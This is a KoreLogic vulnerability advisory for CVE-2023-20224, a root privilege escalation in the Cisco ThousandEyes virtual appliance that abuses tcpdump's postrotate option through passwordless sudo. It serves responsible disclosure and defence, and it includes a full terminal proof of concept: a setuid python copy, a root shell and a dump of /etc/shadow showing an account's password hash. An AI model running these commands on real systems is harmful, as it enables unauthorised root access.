KL-001-2023-002: Cisco ThousandEyes Enterprise Agent Virtual Appliance Privilege Escalation via tcpdump Title: Cisco ThousandEyes Enterprise Agent Virtual Appliance Privilege Escalation via tcpdump Advisory ID: KL-001-2023-002 Publication Date: 2023.08.17 Publication URL: https://korelogic.com/Resources/Advisories/KL-001-2023-002.txt 1. Vulnerability Details Affected Vendor: ThousandEyes Affected Product: ThousandEyes Enterprise Agent Virtual Appliance Affected Version: thousandeyes-va-64-18.04 0.218 Platform: Linux / Ubuntu 18.04 CWE Classification: CWE-1395: Dependency on Vulnerable Third-Party Component CVE ID: CVE-2023-20224 2. Vulnerability Description An insecure sudo configuration permits a low-privilege user to run arbitrary commands as root via the 'tcpdump' command without a password. 3. Technical Description The ThousandEyes Virtual Appliance is distributed with a restrictive set of commands that can be executed via sudo, without having to provide the password for the 'thousandeyes' account. However, the ability to execute tcpdump via sudo is permitted without requiring the password. The post-rotate functionality of tcpdump can be used to execute arbitrary commands on the virtual appliance, allowing a privilege escalation to root. This is a known privilege escalation path, but had not been disclosed for the ThousandEyes Virtual Appliance. $ ssh -c aes256-ctr -p 22 -i 1000eyes-id_rsa thousandeyes@1.3.3.7 Welcome to ThousandEyes! Last login: Tue Jan 3 20:16:37 2023 from 1.3.3.8 thousandeyes@thousandeyes-va:~$ id uid=1000(thousandeyes) gid=1000(thousandeyes) groups=1000(thousandeyes),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),109(sambashare) thousandeyes@thousandeyes-va:~$ sudo -l Matching Defaults entries for thousandeyes on thousandeyes-va: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User thousandeyes may run the following commands on thousandeyes-va: (ALL : ALL) ALL (ALL) NOPASSWD: /bin/systemctl start te-va, /bin/systemctl stop te-va, /bin/systemctl restart te-va, /bin/systemctl status te-va, /bin/systemctl start te-agent, /bin/systemctl stop te-agent, /bin/systemctl restart te-agent, /bin/systemctl status te-agent, /bin/systemctl start te-browserbot, /bin/systemctl stop te-browserbot, /bin/systemctl restart te-browserbot, /bin/systemctl status te-browserbot, /sbin/reboot, sudoedit /etc/hosts, /usr/bin/dig, /usr/bin/lsof, /usr/bin/apt-get update, /usr/bin/apt-get install te-agent, /usr/bin/apt-get install te-browserbot, /usr/bin/apt-get install te-va, /usr/bin/apt-get install te-pa, /usr/bin/apt-get install te-va-unlock, /usr/bin/apt-get install te-intl-fonts, /usr/bin/apt-get install te-agent-utils, /usr/bin/apt-get install ntpdate, /usr/bin/apt-cache, /usr/bin/te-*, /usr/local/bin/te-*, /usr/local/sbin/te-* (root) NOPASSWD: /usr/sbin/ntpdate, /usr/sbin/traceroute, /usr/sbin/tcpdump Here we see that tcpdump is available as root with no password, and no restrictions on the arguments it can be passed. Prepare a malicious script, then have tcpdump execute it as a postrotate command. Note, this needs to be more than simply a setuid copy of bash as it will drop privs if UID!=EUID, but python will not. thousandeyes@thousandeyes-va:~$ cat /tmp/x4 COMMAND='cp /usr/bin/python3.6 /python3.6; chmod u+s /python3.6' TF=$(mktemp) echo "$COMMAND" > $TF chmod +x $TF sudo /usr/sbin/tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root thousandeyes@thousandeyes-va:~$ cat /tmp/runme4 /python3.6 -c 'import os; os.setuid(0); os.system("/bin/sh")' thousandeyes@thousandeyes-va:~$ /tmp/x4 dropped privs to root tcpdump: listening on lo, link-type EN10MB (Ethernet), capture size 262144 bytes In another ssh session as the 'thousandeyes' user, execute 'ping -c 1 127.0.0.1' to trigger tcpdump rotation: Maximum file limit reached: 1 1 packet captured 4 packets received by filter 0 packets dropped by kernel Execute the setuid python which then launches a shell: thousandeyes@thousandeyes-va:/tmp$ /tmp/runme4 # id uid=0(root) gid=1000(thousandeyes) groups=1000(thousandeyes),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),109(sambashare) # bash root@thousandeyes-va:~# id uid=0(root) gid=1000(thousandeyes) groups=1000(thousandeyes),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),109(sambashare) root@thousandeyes-va:~# cat /etc/shadow root:!:19145:0:99999:7::: daemon:!*:18885:0:99999:7::: bin:!*:18885:0:99999:7::: sys:!*:18885:0:99999:7::: sync:!*:18885:0:99999:7::: games:!*:18885:0:99999:7::: man:!*:18885:0:99999:7::: lp:!*:18885:0:99999:7::: mail:!*:18885:0:99999:7::: news:!*:18885:0:99999:7::: uucp:!*:18885:0:99999:7::: proxy:!*:18885:0:99999:7::: www-data:!*:18885:0:99999:7::: backup:!*:18885:0:99999:7::: list:!*:18885:0:99999:7::: irc:!*:18885:0:99999:7::: gnats:!*:18885:0:99999:7::: nobody:*:18885:0:99999:7::: systemd-network:!*:18885:0:99999:7::: systemd-resolve:!*:18885:0:99999:7::: syslog:!*:18885:0:99999:7::: messagebus:!*:18885:0:99999:7::: _apt:!*:18885:0:99999:7::: thousandeyes:$6$qvB7Zfsh1fFCuBM9$l3X3Gj/7v.IY54N5YMFj5hpd.FbYOfqFPRcNxcOslO3M1MFfxcnUk1MNqtivetWIOTIfv.Z3ELQh5PPTUc2YL0:19146:7:364:30::: rdnssd:!*:19146:7:99999:30::: browserbot:!:19146:::::: cntlm:!*:19146:7:99999:30::: sshd:!*:19146:7:99999:30::: root@thousandeyes-va:~# 4. Mitigation and Remediation Recommendation The vendor has released a version which remediates the described vulnerability. Release notes are available at: https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-thoueye-privesc-NVhHGwb3 5. Credit This vulnerability was discovered by Jim Becher of KoreLogic, Inc. 6. Disclosure Timeline 2023.04.26 - KoreLogic submits vulnerability details to Cisco. 2023.04.26 - Cisco acknowledges receipt and the intention to investigate. 2023.05.04 - Cisco notifies KoreLogic that a remediation for this vulnerability is expected to be available within 90 days. 2023.06.30 - 45 business days have elapsed since KoreLogic reported this vulnerability to the vendor. 2023.07.11 - Cisco informs KoreLogic that the issue has been remediated in the latest ThousandEyes Virtual Appliance and a public advisory will be released 2023.08.16. 2023.07.24 - 60 business days have elapsed since KoreLogic reported this vulnerability to the vendor. 2023.08.09 - Cisco provides KoreLogic with CVE-2023-20224 to track this vulnerability. 2023.08.16 - Cisco public acknowledgement. 2023.08.17 - KoreLogic public disclosure. 7. Proof of Concept See 3. Technical Description. The contents of this advisory are copyright(c) 2023 KoreLogic, Inc. and are licensed under a Creative Commons Attribution Share-Alike 4.0 (United States) License: http://creativecommons.org/licenses/by-sa/4.0/ KoreLogic, Inc. is a founder-owned and operated company with a proven track record of providing security services to entities ranging from Fortune 500 to small and mid-sized companies. We are a highly skilled team of senior security consultants doing by-hand security assessments for the most important networks in the U.S. and around the world. We are also developers of various tools and resources aimed at helping the security community. https://www.korelogic.com/about-korelogic.html Our public vulnerability disclosure policy is available at: https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.3.txt